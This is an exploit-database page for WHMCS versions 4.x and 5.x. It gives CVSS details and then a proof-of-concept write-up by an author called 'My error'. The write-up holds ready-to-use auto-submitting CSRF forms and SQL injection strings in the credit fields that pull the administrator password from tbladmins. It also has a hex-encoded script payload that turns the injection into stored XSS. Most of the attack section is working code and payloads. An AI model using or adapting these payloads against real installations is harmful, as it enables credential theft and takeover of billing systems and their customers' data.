Exploitalert - Database of Exploits

HMCS v4.x & v5.x - Multiple Web Vulnerabilities

CVE	Category	Price	Severity
N/A	CWE-Other	N/A	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2020-04-02

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope		S	An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality	Low	C	There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity	Low	I	Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability	None	A	There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.

https://cxsecurity.com/ascii/WLB-2020040005

HMCS v4.x & v5.x - Multiple Web Vulnerabilities

# Exploit Title: WHMCS v4.x & v5.x - Multiple Web Vulnerabilities # Exploit Author: My error # Vendor Homepage: http://whmcs.com/ # Version: 4.x , 5.x # Tested on: win 7 +------------------+ | Vulnerability | +------------------+ File : includes\dbfunctions.php function db_escape_string($string) { $string = mysql_real_escape_string($string); return $string; } +------------------+ | Description | +------------------+ the script use this function to secure the input the function disable only the ' and " but we can bypass it if the query don't use ' +------------+ | Example | +------------+ file : admin/invoices.php [...] $query = "UPDATE tblinvoices SET credit=credit-" . db_escape_string($removecredit) . " WHERE id='" . db_escape_string($id) . "'"; full_query($query); [...] +------------+ |Exploitation| +------------+ CSRF to SQL And Bypass Token <html> <body onload="submitForm()"> <form name="myForm" id="myForm" action="http://localhost/whmcs5214/admin/invoices.php" method="post"> <input type="hidden" name="token" value="ahwak2000"> <input type="hidden" name="id" value="1"> <input type="hidden" name="removecredit" value="-99,invoicenum=(select password from tbladmins limit 0,1)"> <input type="hidden" name="action" value="edit"> </form> <script type='text/javascript'>document.myForm.submit();</script> </html> OR <html> <body onload="submitForm()"> <form name="myForm" id="myForm" action="http://localhost/whmcs5214/admin/invoices.php" method="post"> <input type="hidden" name="token" value="ahwak2000"> <input type="hidden" name="id" value="1"> <input type="hidden" name="addcredit" value="-99,invoicenum=(select password from tbladmins limit 0,1)"> <input type="hidden" name="action" value="edit"> </form> <script type='text/javascript'>document.myForm.submit();</script> </html> +------------+ | Example 2| +------------+ file : includes/invoicefunctions.php function applyCredit($invoiceid, $userid, $amount="", $noemail = "") { $query = "UPDATE tblinvoices SET credit=credit+" . db_escape_string($amount) . " WHERE id='" . mysql_real_escape_string($invoiceid) . "'"; full_query($query); $query = "UPDATE tblclients SET credit=credit-" . db_escape_string($amount) . " WHERE id='" . mysql_real_escape_string($userid) . "'"; full_query($query); [...] } } File: /viewinvoice.php if ($invoice->getData("status") == "Unpaid" && 0 < $creditbal) { $creditamount = $whmcs->get_req_var("creditamount"); if ($whmcs->get_req_var("applycredit") && 0 < $creditamount) { check_token(); if ($creditbal < $creditamount) { echo $_LANG['invoiceaddcreditovercredit']; exit(); } else { if ($balance < $creditamount) { echo $_LANG['invoiceaddcreditoverbalance']; exit(); } else { applyCredit($invoiceid, $invoice->getData("userid"), $creditamount); } } redir("id=" . $invoiceid); } $smartyvalues['manualapplycredit'] = true; $smartyvalues['totalcredit'] = formatCurrency($creditbal) . generate_token("form"); if (!$creditamount) { $creditamount = ($balance <= $creditbal ? $balance : $creditbal); } $smartyvalues['creditamount'] = $creditamount; } +------------+ |Exploitation| +------------+ Go to http://127.0.0.1/whmcs5214/viewinvoice.php?id=1 <~ edit if client have creditt and when he want to pay with credit in the "Enter the amount to apply:" put 0.01,Address2=(SELECT password from tbladmins limit 0,1) the admin password will be in the client address +-----------------+ sql => xss SQL can convert to XSS Must Encode XSS to Hex Example : (SELECT 0x3C7363726970743E616C6572742827616877616B3230303027293B3C2F7363726970743E) //<script>alert('mYerrOR');</script> SQL can be modified to work when all members and supervisors (SELECT 0x3C7363726970743E616C6572742827616877616B3230303027293B3C2F7363726970743E)# <~ +-------------------+

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